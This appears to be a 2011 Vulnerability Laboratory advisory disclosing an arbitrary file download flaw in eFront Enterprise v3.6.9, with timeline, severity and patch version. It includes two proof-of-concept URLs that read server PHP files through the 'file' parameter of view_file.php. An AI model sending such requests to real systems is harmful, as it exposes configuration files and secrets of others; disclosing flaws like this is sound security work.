eFront Enterprise v3.6.9 - Arbitrary Download Vulnerability

Document Title:
===============
eFront Enterprise v3.6.9 - Arbitrary Download Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=290
http://www.vulnerability-lab.com/get_content.php?id=230


Release Date:
=============
2011-10-07


Vulnerability Laboratory ID (VL-ID):
====================================
290


Product & Service Introduction:
===============================
Tailored with larger organizations in mind, eFront Enterprise offers solutions for the management of companies most 
valued asset - the people. Based on a coherent approach to human capital management which keeps the workforce actively 
engaged, the eFront Enterprise platform offers the means of aligning learning programs with business goals to cultivate 
employee skills and knowledge associated with business performance. eFront Enterprise builds on top of eFront Educational.

(Copy of the Vendor Homepage: http://efrontlearning.net/product/efront-enterprise.html)


Abstract Advisory Information:
==============================
A Researcher of the Vulnerability Laboratory Team discovered a remote arbitrary download vulnerability on the eFronts Enterprise CMS v3.6.9.



Vulnerability Disclosure Timeline:
==================================
2011-09-28:	Vendor Notification
2011-09-29:	Vendor Response/Feedback
2011-10-06:	Vendor Fix/Patch
2011-10-08:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
eFront
Product: eLearning Enterprise Edition 3.6.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote arbitrary download vulnerability is detected on eFronts CMS v.3.6.9! The bug allows an remote attacker to read and even download files 
over the vulnerable param request. Successful exploitation of the bug can lead to read and download of important configuration files
by trainers & trainees.

Vulnerable Module(s):
			                         	[+] Administration, Trainee  & Trainer Section

Vulnerable File(s):
			                         	[+] view_file.php

Vulnerable Param(s):
			                         	[+] ?file=


Picture(s):
			                         	../1.png
			                         	../2.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

PoC: 
http://demo.xxx.com/enterprise/www/view_file.php?file=/var/www/vhosts/demo/enterprise/www/administrator.php
http://demo.xxx.com/enterprise/www/view_file.php?file=/var/www/vhosts/demo/enterprise/www/view_file.php


Solution - Fix & Patch:
=======================
2011/10/10 v3.6.10 build 11944  - http://www.efrontlearning.net/download


Security Risk:
==============
The security risk of the remote arbitrary download vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory - Chokri B.A (Meister)


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=========================
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